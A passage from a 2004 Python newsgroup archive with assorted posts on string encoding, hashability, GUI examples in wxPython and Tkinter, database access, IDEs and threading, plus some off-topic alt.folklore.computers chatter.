end, and loop filling it. In other words, you might be able to shave a little time by coding, for example: encoded_text = list(original_text) for i, c in enumerate(encoded_text): encoded_text[i] = table[c] another possibility that might turn out to be faster (particularly in 2.4) is: encoded_text = map(table.__getitem__, original_text) or similarly, in 2.3, with table.get (table.__getitem__ is slower than it should be in 2.3... fortunately 2.4 has fixed that issue). I'm not sure which of these options will be faster: time them with timeit.py, that's what it's _there_ for!-). Anyway, encoded_text will end up as a list, so you'll ''.join it when you're done. "consuming a string a piece at a time from the front" is a lesser-known trap -- interestingly, it would apply to lists as well, for different reasons (namely, that a list is a compact array in memory, so removing some stuff from the front requires "sliding down" all of the rest, an operation taking time proportional to the sequence length, O(N) in common parlance -- consuming a whole sequence that way is therefore O(N squared), i.e., pretty bad). The list-comprehension-of-slices solution I've seen more than one responder propose is in fact quite a good one (it's O(1) per step, O(N) for the whole 'consumption' operation). You might also consider whether you want encoded_text to be a string at all, rather than a list or array.array of 1's and 0's. If the latter, then 'encoded_text.extend(table[c])' as the first loop's body would do it -- and you could make the values of table into tuples of numbers, rather than strings, optionally. Alex From jmfbahciv at aol.com Tue Sep 14 06:16:49 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Tue, 14 Sep 04 10:16:49 GMT Subject: Xah Lee's Unixism References: <chntno$ku1$1@grandcanyon.binc.net> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <opsd2vlvy7pqzri1@mjolner.upc.no> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> <41444b6a$0$6932$61fed72c@news.rcn.com> <87zn3v7ekc.fsf@p4.internal> <41446336$0$6925$61fed72c@news.rcn.com> <87pt4r771o.fsf@p4.internal> <41458c14$0$2648$61fed72c@news.rcn.com> <60gbk01kj3h9rsvgikv7jahelsal0bfg1c@4ax.com> Message-ID: <4146d85b$0$2665$61fed72c@news.rcn.com> In article <60gbk01kj3h9rsvgikv7jahelsal0bfg1c at 4ax.com>, Alan Balmer <albalmer at att.net> wrote: >On Mon, 13 Sep 04 10:39:16 GMT, jmfbahciv at aol.com wrote: > >>>Responding in "hints" and ALL CAPS brings us to the ludicrous situation >>>where a Turk gets to give a pointer to the ACLU to an American: >>> >>>http://www.aclu.org/SafeandFree/SafeandFree.cfm?ID=13079&c=207 >> >>I'm not going to be able to get out to read that one. Just >>mentioning the ACLU gives me the bias that you're listening >>with a BS filter. ACLU has gone bonkers in that they've >>become completely inconsist these days. > >This particular article isn't even consistent within itself. They try >to make the reader equate "detainees" (most of whom have just been >sent back home) and "secret arrests" which they somehow know all >about. They also complain that "this group is almost entirely Arab, >South Asian, or Muslim ...". Surprise, surprise. > >In fact, the article with its list of actions the ACLU has taken >belies its own premise that all these things are happening in secret >without any representation for the "victims." Yea. They seem to have taken logic lessons from Kerry. > >Years ago, I thought the ACLU was a Good Thing. I agreed with a few things they did; I disagreed with a lot more. However, I recognized that they were a good check on the balances. But their latest choices (not only the secret detainee thing..there were others but I can't recall details) have had me wondering about how do they come up with their choices? It's almost as if they cast lots to choose the case and then flip a coin to see which side they'll defend. Perhaps our pet lawyer^Wex-lawyer can explain this legal logic. /BAH From reynirhs at mi.is Fri Sep 10 01:05:25 2004 From: reynirhs at mi.is (Reynir Stefánsson) Date: Fri, 10 Sep 2004 05:05:25 +0000 Subject: Xah Lee's Unixism References: <slrncj1745.t5q.amajorel@atc5.vermine.org> <413af268$0$19706$61fed72c@news.rcn.com> <rv1hhc.mtv2.ln@via.reistad.priv.no> <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> <opsdxecgt8pqzri1@mjolner.upc.no> <un000uufg.fsf@mail.comcast.net> <2tjvj0ttc99io295ecg2l86lc2h4tug1jc@4ax.com> <p6h0k0ds97g1ti7jl7jjmmac39bmgd0l6a@4ax.com> Message-ID: <kjb2k0hg58hhlum8injipsfc3nhhkj9dd2@4ax.com> So spake Brian Inglis: >On Thu, 09 Sep 2004 04:05:31 +0000 in alt.folklore.computers, Reynir >Stef?nsson <reynirhs at mi.is> wrote: > >>Wasn't the idea behind ISO/OSI that there should be One Network for >>everybody, instead of today's lot of interconnected nets? > >A common network run by PTTs with ISDN terminal links IIRC. That's sort of the idea that I got: Job Security for the telcos. -- Reynir Stef?nsson (reynirhs at mi.is) From aleaxit at yahoo.com Fri Sep 3 04:26:30 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 3 Sep 2004 10:26:30 +0200 Subject: Modules are hashable?! References: <2pld08Fm7mo8U1@uni-berlin.de> <1gjfpqj.1knk4mcpq5fj0N%aleaxit@yahoo.com> <4137ed92$1@news.unimelb.edu.au> Message-ID: <1gjj8ek.1hrercr1fu5bzaN%aleaxit@yahoo.com> Maurice LING <mauriceling at acm.org> wrote: > Alex Martelli wrote: > > > Leif K-Brooks <eurleif at ecritters.biz> wrote: > > > > > >>I was just playing around, and noticed that modules seem to be hashable. > >>Can anyone explain that, especially given the fact that they're mutable? > > > > > > Any object x is hashable if type(x) does not expose __eq__ nor __cmp__. > > In that case, the meaning of x==y for that object is 'x is y', that is, > > id(x)==id(y), so having hash(x) return id(x) is perfectly functional. > > Mutation is not a problem if it doesn't affect equality comparisons. > > > > > > Alex > > The idea that I get from reading this thread is that objects that can be > type compared (comparing the contents) are not hashable, and they are Never said that! I said the reverse: if objects are compared by id they're also hashable (in the same way). "All cats are mammals" does not imply "all mammals are cats". Objects can perfectly well be hashable, AND compared by contents at the same time -- that's where immutability (of those contents which affect comparison and thus hashing) is a practical necessity. "Practical", not theoretical: "def __hash__(self): return 23" will in fact ensure correct semantics. Unfortunately, it will do so at the expense of intolerable performance hits any time a number of objects of this type are used as dictionary keys... if you know anything about hashing you can see why this can't fail to be so. > list, strings, tuples and dictionary. Is there any others that fall into > this category? Is there any way to make them hashable? strings are hashable, and so are tuples if all their items are hashable. That is because they define proper __hash__ methods (or rather the C API equivalent, of course) that cooperate properly with their __cmp__ methods, basically ensuring that x==y implies hash(x)==hash(y). But that's hard to ensure, together with the fact that hash(x) must always give the same result for a given x, for general mutable containers such as lists and dicts. > Hashable objects, on the other hand, are hashed based on say, the > pointer address pointing the object or an identifier in the Python VM > symbol table or something. It's like to say that when you hash a human, > you get the name and not the physical dimensions of the person. The > person can grow fat or slim down, but the name is still the same. As long as your equality-comparison only relies on immutable characteristics you're fine. Unfortunately in most countries it IS legal to change name at least in some circumstances (e.g. it used to happen almost automatically to a woman when she married, in many countries, some time ago...) so this wouldn't work in this case;-). Alex From adalke at mindspring.com Sat Sep 4 00:27:58 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sat, 04 Sep 2004 04:27:58 GMT Subject: list conversion question In-Reply-To: <3Ma_c.13188$Dl4.3729@fe2.texas.rr.com> References: <mailman.2860.1094267481.5135.python-list@python.org> <3Ma_c.13188$Dl4.3729@fe2.texas.rr.com> Message-ID: <ivb_c.6952$w%6.2458@newsread1.news.pas.earthlink.net> Paul McGuire wrote: > Assuming im.histogram() returns a list like [ 0, 1, 0, 5, 43, etc. ] how > about: > > hist = [ 0, 1, 0, 5, 43 ] > values = [ i for i in enumerate(hist)] > values.sort(lambda a,b: cmp(b[1],a[1])) > indexes = [ a for a,b in values ] or tweaked a bit for speed (a sort with a lambda is expensive) and for clarity, IMO, pairs = [(value, offset) for (offset, value) in enumerate(hist)] pairs.sort() indexes = [offset for (value, offset) in pairs] In Python2.4 this is allowed >>> hist = [ 0, 1, 0, 5, 43 ] >>> [pair[0] for pair in sorted(enumerate(hist), ... key=lambda pair: pair[1])] [0, 2, 1, 3, 4] >>> Not yet sure that that's a good thing. Andrew dalke at dalkescientific.com From torves at yahoo.com Sun Sep 19 01:13:10 2004 From: torves at yahoo.com (Davis Chord) Date: Sun, 19 Sep 2004 05:13:10 GMT Subject: Closed-source, possible? Message-ID: <Gz83d.1044$6eS.955@news04.bloor.is.net.cable.rogers.com> I'm a fairly new Python developer, so I hope that some of my ignorance in this area is understandable. :) I'm developing an application, and I'm uncertain about releasing it as open-source. The main reason I thought about open-source was because ever Python program I've seen is, truly. Doh. I've heard/seen/used the pyc program that turns your .py files into .pyc files, but I'm wondering how easily someone can get to your source from these compiled files. If it's not possible to have a portable progam thats' source cannot be easily accessed (or at all :P), then open-source is just easier. Thanks! From clifford.wells at comcast.net Mon Sep 13 02:26:05 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Sun, 12 Sep 2004 23:26:05 -0700 Subject: 'telegraphy' as a means of data entry In-Reply-To: <ci1jrg$6fd$1@sea.gmane.org> References: <QOK0d.394968$gE.276141@pd7tw3no> <8YGdnbbBS6xILt7cRVn-iA@powergate.ca><llT0d.382584$M95.334812@pd7tw1no> <S-ydnXbZkPyO0NncRVn-jg@powergate.ca> <ci1jrg$6fd$1@sea.gmane.org> Message-ID: <1095056766.26967.61.camel@devilbox.devilnet.internal> On Sun, 2004-09-12 at 15:44 +0200, Fredrik Lundh wrote: > Peter Hansen wrote: > > > > | > I need to record the respective times of the events in a sequence of > > > | > presses/releases of a particular key on the computer keyboard. > > > And Tkinter could certainly do it to, but I don't do Tkinter. :) > > in Tkinter, you'll find the event time (in milliseconds) in the time > attribute of the event descriptor: > also note that unlike Peter's example, the time attribute contains > the time when the event was generated, not when it reached your > program. Here's a more complete example in wxPython. Like the effbot's example, this uses the time the event was generated. I didn't really feel like examining all the possible places a wav file might exist on all platforms, but here's a start: import wx SOUND = { '__WXMSW__': 'c:/winnt/media/ding.wav', '__WXGTK__': '/usr/share/sounds/generic.wav', }[wx.Platform] class Panel(wx.Panel): def __init__(self, parent, id): wx.Panel.__init__(self, parent, id) self.ts = None self.sound = wx.Sound(SOUND) if not self.sound.IsOk(): self.sound = None print "Your sound file is bad." self.Bind(wx.EVT_KEY_DOWN, self.OnKeyDown) def OnKeyDown(self, evt): if evt.GetKeyCode() == wx.WXK_DELETE: t = evt.GetTimestamp() / 1000.0 if self.ts is not None: print "time between", t - self.ts self.ts = t if self.sound: self.sound.Play(wx.SOUND_ASYNC) class Frame(wx.Frame): def __init__(self): wx.Frame.__init__(self, None, -1, 'test') p = Panel(self, -1) if __name__ == '__main__': app = wx.PySimpleApp() frame = Frame() frame.Show() app.MainLoop() Regards, Cliff -- Cliff Wells <clifford.wells at comcast.net> From stevena at neosynapse.net Wed Sep 29 23:59:09 2004 From: stevena at neosynapse.net (Steven Arnold) Date: Wed, 29 Sep 2004 23:59:09 -0400 Subject: constructing binary backslash-n In-Reply-To: <loom.20040930T054552-306@post.gmane.org> References: <F84E7671-127F-11D9-9E53-000A95D49904@neosynapse.net> <1f7befae04092919484211a3bb@mail.gmail.com> <1985B3AF-1290-11D9-9E53-000A95D49904@neosynapse.net> <loom.20040930T054552-306@post.gmane.org> Message-ID: <150812DC-1295-11D9-9E53-000A95D49904@neosynapse.net> On Sep 29, 2004, at 11:47 PM, Steven Bethard wrote: > Steven Arnold <stevena <at> neosynapse.net> writes: > >> I want to be able to receive a letter like 'n', let's say as user >> input, and generate the single byte escape value of backslash-n or >> ASCII 10, as a string of length 1... > > Does this do what you're looking for: > >>>> ('\\\\' + 'r').decode('string_escape') > '\\r' >>>> ('\\\\' + 'n').decode('string_escape') > '\\n' > > (I just learned this today in an earlier thread...) Yes! Perfect. I assume your backslashes got screwed up like my earlier message. I think what you meant was: >>> ('<backslash><backslash>' + 'r').decode('string_escape') '<backslash>r' THAT is exactly what I was looking for. Thanks! steve From peter.maas at mplusr.de Thu Sep 9 03:39:49 2004 From: peter.maas at mplusr.de (Peter Maas) Date: Thu, 09 Sep 2004 09:39:49 +0200 Subject: Connecting to a postgresql DB? In-Reply-To: <pan.2004.09.08.21.54.22.327805@augustmail.com> References: <pan.2004.09.08.21.54.22.327805@augustmail.com> Message-ID: <chp1c8$1pi$1@swifty.westend.com> Lance Hoffmeyer schrieb: > I am trying to learn some basics of python. One of the things > I want to do is write a script to access a postgresql database > DB as user USER with password PW and > > SELECT first_name, last_name, birthday FROM contacts > > print to the screen and then disconnect. URLs for required modules: - mxDateTime http://www.egenix.com/files/python/eGenix-mx-Extensions.html - pypgSQL: http://sourceforge.net/project/showfiles.php?group_id=16528 Example code: #!/usr/bin/env python # -*- coding: latin-1 -*- """ Example code for reading data from a PostgreSQL database. This code requires the modules mxDateTime and pyPgSQL (DB-API 2.0 compliant so that the calls are not database dependent except of connection URL and some SQL capabilities). """ # PostgreSQL interface module from pyPgSQL import PgSQL if __name__ == '__main__': # open connection con = PgSQL.connect(None, "aUser", "aPasswd", "aHost", "aDatabase") # create cursor c_adr = con.cursor() # let cursor execute an SQL command c_adr.execute("SELECT * FROM address") # fetch a result set r_adr = c_adr.fetchmany(10) # The result set is a list of records. print r_adr[0] # Each record is a dictionary like object with field names as keys. print r_adr[0].keys() # The field values are the dictionary values. print r_adr[0]["firstname"] # print all records for record in r_adr: print record Mit freundlichen Gruessen, Peter Maas -- ------------------------------------------------------------------- Peter Maas, M+R Infosysteme, D-52070 Aachen, Tel +49-241-93878-0 E-mail 'cGV0ZXIubWFhc0BtcGx1c3IuZGU=\n'.decode('base64') ------------------------------------------------------------------- From matloff at laura.cs.ucdavis.edu Tue Sep 21 13:03:11 2004 From: matloff at laura.cs.ucdavis.edu (Norm Matloff) Date: Tue, 21 Sep 2004 17:03:11 +0000 (UTC) Subject: python ides References: <cip735$e01$1@sea.gmane.org> <mailman.3644.1095773039.5135.python-list@python.org> Message-ID: <slrncl0nmf.424.matloff@laura.cs.ucdavis.edu> I agree with Jeff's comments 100%. Some years ago I used WingIDE for Java a bit, and I agree that it was quite nice. I'll bet the Python version is equally nice. But I also recall that, like almost all IDEs, it has a significant startup time, and has various other kinds of overhead. And YES, I definitely DO want to use the same text editor (in my case, vim) in all the work I do, from programming to word processing to e-mail. In my view, IDEs add little functionality at rather great cost in terms of time, memory, etc. It gives a nice visual pleasure, and to those who didn't come of age during the command-line days, this pleasure is taken as a given, but I think the IDE concept is vastly overrated. Making good use of sophisticated text editor will give you the same programming benefits without the drawbacks. But hey, I sometimes surf the Web using Lynx. :-) Norm Matloff In article <mailman.3644.1095773039.5135.python-list at python.org>, Jeff Epler wrote: > That's all very nice, but is it keystroke compatible with vim (including > the obscure stuff)? Will it run in a terminal? Does it meet the DFSG, > or any other important definition of "free software" or "open source > software"? How are the memory footprint and startup time? Emacs users > may raise many of the same objections. ... From follower at gmail.com Sun Sep 5 09:52:49 2004 From: follower at gmail.com (Follower) Date: 5 Sep 2004 06:52:49 -0700 Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Aug 31) References: <ch2lao$om8$1@lairds.us> Message-ID: <3c18c08f.0409050552.2867e614@posting.google.com> > http://richard.jones.name/google-hacks/gmail-filesystem/gmail-filesystem.html "libgmail is the main reason Gmailfs is Python." -- Author of GmailFS in private email (with permission). I'm filing this under the good-code-as-promotional-tool category. :-) --Phil. From jkn_gg at nicorp.f9.co.uk Fri Sep 17 12:33:37 2004 From: jkn_gg at nicorp.f9.co.uk (Jon Nicoll) Date: 17 Sep 2004 09:33:37 -0700 Subject: [OT] tabbed command line window? WAS Re: Ranting about the state of Python IDEs for Windows Message-ID: <e4eaecf8.0409170833.44be4a71@posting.google.com> Hi all some comments in the earlier thread about tabbed windows with VIM reminded me of a scratch I'd like to itch: does anyone know of a tabbed command line utility for Win32? I'd like something like KDEterm, where you can have multiple tabbed command line 'sessions' in a single window, just switching between the tabs as desired. I sometimes need to use several command line prompt windows at once (different directories, environment variables etc.) and it would be great to collect these all together into one window. I've looked a few times but never found anything that comes close... Thanks for any suggestions jon N From english at spiritone.com Fri Sep 10 17:08:18 2004 From: english at spiritone.com (Josh English) Date: Fri, 10 Sep 2004 14:08:18 -0700 Subject: Binding? problem Message-ID: <cht54g0jhl@enews1.newsguy.com> I may not be using the language properly, but I suspect what I have is a binding problem and I'm wondering if there's a better solution than what I've come up with. I'm working on a Stack based language that can import methods from predefined libraries. Here's what I mean. ------- class S: def __init__(self,value): self.value = value def __repr__(self): return '<%s>' % (self.__class__.__name__) class Library: ### this method refers to 'self.s' which it isn't ### an attribute or method def do_this(self): self.s.value = 'this' class Runner: def __init__(self): self.s = S('whock') def __repr__(self): return '<%s %s>' % (self.__class__.__name__,self.S) def importmethod(self,obj): #setattr(self,obj..__name__,obj.do_this) self.do_this = obj.do_this r = Runner() print dir(r) r.importmethod(Library) r.do_this() ----------- This basically all I want to do, but the last line raises an error because the Library class has no attribute 's'. Right now my workaround is to declare the do_this() method of the Library class: def do_this(self,parent): parent.s.value = 'this' and use this in the Runner class: def importmethod(self,obj): setattr(self,'do_this',obj.do_this) #self.do_this =getattr(obj,'do_this') Is there a better way to do this? Thanks, Josh English english-at-spiritone.com From holbertr at dma.org Wed Sep 1 15:09:37 2004 From: holbertr at dma.org (Rick Holbert) Date: Wed, 01 Sep 2004 15:09:37 -0400 Subject: function returning a list References: <ch52ou$bp4$1@solaris.cc.vt.edu> Message-ID: <ch56ph$37f$1@charm.magnus.acs.ohio-state.edu> Brad Tilley wrote: > Can a function return a list? Yes >>> def return_list(): ... list = [1, 2, 3] ... return list ... >>> l = return_list() >>> l [1, 2, 3] From newsreply at transfertech.de Thu Sep 30 12:19:34 2004 From: newsreply at transfertech.de (Axel Mittendorf) Date: Thu, 30 Sep 2004 18:19:34 +0200 Subject: thread execution order References: <cjh1hd$rek$03$1@news.t-online.com> <STT6d.25$Za.8@llslave.llan.ll.mit.edu> <cjh4nb$opt$05$1@news.t-online.com> <TZV6d.27$Za.13@llslave.llan.ll.mit.edu> Message-ID: <cjhb9e$900$02$1@news.t-online.com> "Rembrandt Q Einstein" <hercules.rockefeller at springfield.??.us> wrote: > You don't need a timer. Just every time your program tries to write, it > first checks the pipe. If it can write, it does. If it can't, it > buffers until the next time it tries. What if there is no "next time". The buffered message might be buffered until my not yet planned child can program perl (no way, tv is enough) or Linux is sold in bottles ;-) THX, Axel From f.geiger at vol.at Wed Sep 29 09:56:14 2004 From: f.geiger at vol.at (F. GEIGER) Date: Wed, 29 Sep 2004 15:56:14 +0200 Subject: Calling (C)Python code from Java: Is it JPype? Message-ID: <cjeem1$5h9$1@newshispeed.ch> I've dev'ed a Python prototype of an app, that besides the internals making it up has a gui. While test-driven dev'ing the app's internals in Python is fun as usual, dev'ing the GUI is not so funny, at least for me. I guess dev'ing a GUI in a test-driven way is not possible, or is it? I'm using wxPython, so if anyone has an idea... For now most of the time I extend and change the gui things, then run it, do the clicks to go thru the new things and - bang: Missing attribute bla bla bla or an error like that. Yes, I use Pychecker, but it isn't of real help in gui dev'ing (at least in my GUIs ;-)). So, a compiler could ease things a bit here. While I want the complicated stuff remaining written in Python, I'd write the GUI things in Java. Java, because I plan to run the app on Linux too (dev'ing on Windows for now). Otherwise *.NET could be an option (well, perhaps I should look at Mono). Now, if I go the Java route, how can I call my Python stuff from Java, if I do not want to use Jython, which lags behind CPython 3 minor versions (2.1. vs. 2.4)? Google showed up JPype, but this seems to enable me the other way round: Call Java code from CPython. Or are there any plans to make this possible the other way round too? Any other options here? Many thanks in advance Franz GEIGER From rff_rff at remove-yahoo.it Tue Sep 7 18:57:19 2004 From: rff_rff at remove-yahoo.it (gabriele renzi) Date: Tue, 07 Sep 2004 22:57:19 GMT Subject: Automated Perl to Python translation? In-Reply-To: <413d82d3$1@news.unimelb.edu.au> References: <b16e4ef7.0409040550.4432a70f@posting.google.com> <413d82d3$1@news.unimelb.edu.au> Message-ID: <j1r%c.88007$OH4.2514122@twister1.libero.it> Maurice LING ha scritto: > If this can be worked out, Perl/Python/Java combination is too powerful > to imagine...... > I think you'd be happy with parrot or .net ;) From michele.petrazzo at TOGLIunipex.it Tue Sep 14 07:56:55 2004 From: michele.petrazzo at TOGLIunipex.it (Michele Petrazzo) Date: Tue, 14 Sep 2004 13:56:55 +0200 Subject: [WX] wxRadioBox and change choice In-Reply-To: <ZLSdnbJneIXBStvcRVn-iQ@powergate.ca> References: <ci6jpn$b7v$1@lacerta.tiscalinet.it> <ZLSdnbJneIXBStvcRVn-iQ@powergate.ca> Message-ID: <ci6mbp$d3j$1@lacerta.tiscalinet.it> Peter Hansen wrote: > Michele Petrazzo wrote: > >> I create a widget like this: >> self.rb_method = wxRadioBox(choices=['choice1', 'choice2'], id=-1, >> label='Method', name='rb_method', parent=self, point=wxPoint(8, 320), >> size=wxSize(168, 72), style=wxRA_SPECIFY_COLS,) >> >> I want to change choice (the choice' labels) in runtime use, so in my >> code, choice1 -> test1, choice2 -> test2 >> The wxRadioBox have Setlabel method, but it only change the "title", >> not the choices. >> Is it possible to do it? Or I must destroy and recreate the widget? > > > The documentation (specifically the wxWindows reference) says this > under SetLabel, which in C/C++ is overloaded to allow this: > > wxPython note: In place of a single overloaded method name, wxPython > implements the following methods: > > SetLabel(string) Sets the radiobox label. > SetItemLabel(n, string) Sets a label for a radio button. I read the documentation of RadioBox about 10-15 times, but I don't see this option. I need a coffee. :) Thanks, Michele From greg at cosc.canterbury.ac.nz Fri Sep 17 01:48:18 2004 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Fri, 17 Sep 2004 17:48:18 +1200 Subject: up with PyGUI! In-Reply-To: <m3isaf1xki.fsf@g2ctech.com> References: <mailman.3318.1095180577.5135.python-list@python.org> <m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com> Message-ID: <2qvc54F143difU1@uni-berlin.de> Jorge Godoy wrote: > I'm not familiar with the looks on Macs... In that case, seeing a screen shot wouldn't help you decide whether it looked Mac-like. :-) >>As far as I can remember, I drew them with Appleworks 6, >>printed them to PDF files, opened them with Preview and >>then saved them as jpegs. (Photoshop might also have been >>involved in there somewhere, I don't recall now.) > > Too bad these aren't tools available on Linux or FreeBSD... I really > liked the way they look :-) Yep, once again, Apple is way ahead of everyone else with their integration of PDF imaging into the core graphics stuff. That's what gives those images their nice anti- aliased look... -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From p at ulmcnett.com Fri Sep 10 13:36:59 2004 From: p at ulmcnett.com (Paul McNett) Date: Fri, 10 Sep 2004 10:36:59 -0700 Subject: Executing system commands with wxpython In-Reply-To: <3dec2e051d82da31c9fe868669e3ce6d@localhost.talkaboutprogramming.com> References: <3dec2e051d82da31c9fe868669e3ce6d@localhost.talkaboutprogramming.com> Message-ID: <200409101036.59174.p@ulmcnett.com> twsnnva writes: > Could anyone give me an example (code) of a simple program > with a button that when clicked executes a linux shell or > windows dos command like "ifconfig" or "ipconfig" and prints > the output somewhere in the same window. Thanks. Okay, I just re-read your subject and you specified wxPython there, but I already wrote up how to do it with Tkinter. The irony is that I'm way more comfortable with wxPython, and had to spend extra time looking up the Tkinter syntax. Anyway, I'm not sure if your question is more "how to execute system commands" or "how to display a button" so why don't you run with this code and see if it works for you. Hint: you'll use the same Python code to execute system commands - the ui toolkit doesn't matter. # -- Begin sample code import sys, os import Tkinter # Define the main root top-level window: root = Tkinter.Tk() # Define the button and edit area: button = Tkinter.Button(root, text="IP Configuration") edit = Tkinter.Text(root) # Lay out the button and edit area: button.pack() edit.pack() # Define the callback function for the button click: def sysCommand(evt): if "linux" in sys.platform: file = os.popen("/sbin/ifconfig") result = file.read() file.close() elif "win" in sys.platform: file = os.popen("ipconfig") result = file.read() file.close() else: result = "Unsupported Platform: '%s'" % sys.platform edit.insert(Tkinter.END, result) # Bind a click of the button to our callback function: button.bind("<Button>", sysCommand) button.bind("<space>", sysCommand) Tkinter.mainloop() #-- end sample code -- Paul McNett Independent Software Consultant http://www.paulmcnett.com From aleaxit at yahoo.com Mon Sep 20 09:29:18 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 20 Sep 2004 15:29:18 +0200 Subject: How to count lines in a text file ? References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> <414eda06$0$26379$ba624c82@nntp02.dk.telia.net> Message-ID: <1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com> Ling Lee <janimal at mail.trillegaarden.dk> wrote: > Oh I just did it. > > Just used the line: > > print "%d lines in your choosen file" % len(open("test.txt").readlines()) > > Thanks though :) You're welcome;-). However, this approach reads all of the file into memory at once. If you must be able to deal with humungoug files, too big to fit in memory at once, try something like: numlines = 0 for line in open('text.txt'): numlines += 1 Alex From aurora00 at gmail.com Wed Sep 15 18:58:24 2004 From: aurora00 at gmail.com (aurora) Date: Wed, 15 Sep 2004 15:58:24 -0700 Subject: thread specific sys.stdout? References: <opsedyrils6yt6e7@news.cisco.com> <ciabc0$seb$00$2@news.t-online.com> Message-ID: <opsed4rmyp6yt6e7@news.cisco.com> On Wed, 15 Sep 2004 23:14:47 +0200, Diez B. Roggisch <deetsNOSPAM at web.de> wrote: > aurora wrote: > >> This may sound a little crazy. I capture the output of one class by >> redirecting the sys.stdout. However the is another threading running at >> the same time and occasionaly it output some messages to the redirected >> sys.stdout irreleveant to the output I want to capture. Is there a way >> to >> redirect output specific to some threads? > > You could replace sys.stdout by a class that splits the written text > depending on the current thread. It might look roughly like this: > > class ThreadPrinter: > def __init__(self): > _.fhs = {} > > def write(self, value): > f = _.fhs.get(threading.currentThread(), > open(get_some_nice_file_name(), "w") > f.write(value) > _.fhs[threading.currentThread()] = f > > Now before starting your threads, replace sys.stdout with an instance of > ThreadPrinter: > > sys.stdout = ThreadPrinter() > > Thanks this is a nice idea. I hope Python would actually support the '_' syntax. The self really reduce readablity, especially if you have several of them in one line. From mark at prothon.org Wed Sep 1 16:00:10 2004 From: mark at prothon.org (Mark Hahn) Date: Wed, 1 Sep 2004 13:00:10 -0700 Subject: Announcing PyCs, a new Python-like language on .Net References: <mailman.2572.1093751093.5135.python-list@python.org> <1093788608.645541@news.commspeed.net> <mailman.2712.1094021283.5135.python-list@python.org> <7xoekq4ehv.fsf@ruckus.brouhaha.com> Message-ID: <gx8haghholfn.g4vz6pwzmdbg$.dlg@40tude.net> On 01 Sep 2004 00:47:40 -0700, Paul Rubin wrote: > Mark Hahn <mark at prothon.org> writes: >> I would have agreed with you before I saw the details of the C-Omega >> language. Check out this paper on how XML and SQL are handled directly in >> the language: >> >> http://www.cl.cam.ac.uk/%7Egmb/Papers/vanilla-xml2003.html. > > Yuck, Javascript handled those tasks just fine, it seemed to me. Did you actually read the paper? From jwkenne at attglobal.net Fri Sep 3 12:12:52 2004 From: jwkenne at attglobal.net (John W. Kennedy) Date: Fri, 03 Sep 2004 16:12:52 GMT Subject: Xah Lee's Unixism In-Reply-To: <ur7pks59p.fsf@mail.comcast.net> References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net> <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <ur7pks59p.fsf@mail.comcast.net> Message-ID: <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> Anne & Lynn Wheeler wrote: > i have some recollection of competing bids building single unit > assemblies at sea coast sites allowing them to be barged to > florida. supposedly the shuttle boosters were sectioned specifically > because they were being fabricated in utah and there were > transportation constraints. Yes. A vastly inferior design was used, which ended up killing seven astronauts, because Orrin Hatch had to be appeased with boodle for Utah. -- John W. Kennedy "Give up vows and dogmas, and fixed things, and you may grow like That. ...you may come to think a blow bad, because it hurts, and not because it humiliates. You may come to think murder wrong, because it is violent, and not because it is unjust." -- G. K. Chesterton. "The Ball and the Cross" From kkt at drizzle.com Thu Sep 2 19:32:21 2004 From: kkt at drizzle.com (Patrick Scheible) Date: 02 Sep 2004 16:32:21 -0700 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <slrncj1745.t5q.amajorel@atc5.vermine.org> <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <opsdpdzglzpqzri1@mjolner.upc.no> <1094141001.125507@teapot.planet.gong> Message-ID: <tqmzn48b62i.fsf@drizzle.com> Rupert Pigott <roo at try-removing-this.darkboong.demon.co.uk> writes: > John Thingstad wrote: > > On Thu, 02 Sep 2004 08:35:30 GMT, Brian Inglis > > <Brian.Inglis at SystematicSW.Invalid> wrote: > > > >> On Tue, 31 Aug 2004 14:26:03 GMT in alt.folklore.computers, "John W. > >> Kennedy" <jwkenne at attglobal.net> wrote: > >> > >>> Andre Majorel wrote: > >>> > >>>> On 2004-08-31, Brian Inglis <Brian.Inglis at SystematicSW.Invalid> wrote: > >>>> > >>>>> On Tue, 31 Aug 2004 01:12:55 +0000 (UTC) in alt.folklore.computers, > >>>>> Andre Majorel <amajorel at teezer.fr> wrote: > >>>>> > >>>>> > >>>>>> On 2004-08-30, Antony Sequeira <usemyfullname at hotmail.com> wrote: > >>>>> > >>>>> > >>>>>>> Windows (MS) is not 'Unixism'? > >>>>>> > >>>>>> > >>>>>> If by unixism, you mean any operating system that has a > >>>>>> hierarchical filesystem and byte stream files, yes. But that > >>>>>> would include quite a few other non-Unix operating systems, > >>>>>> including Mac OS 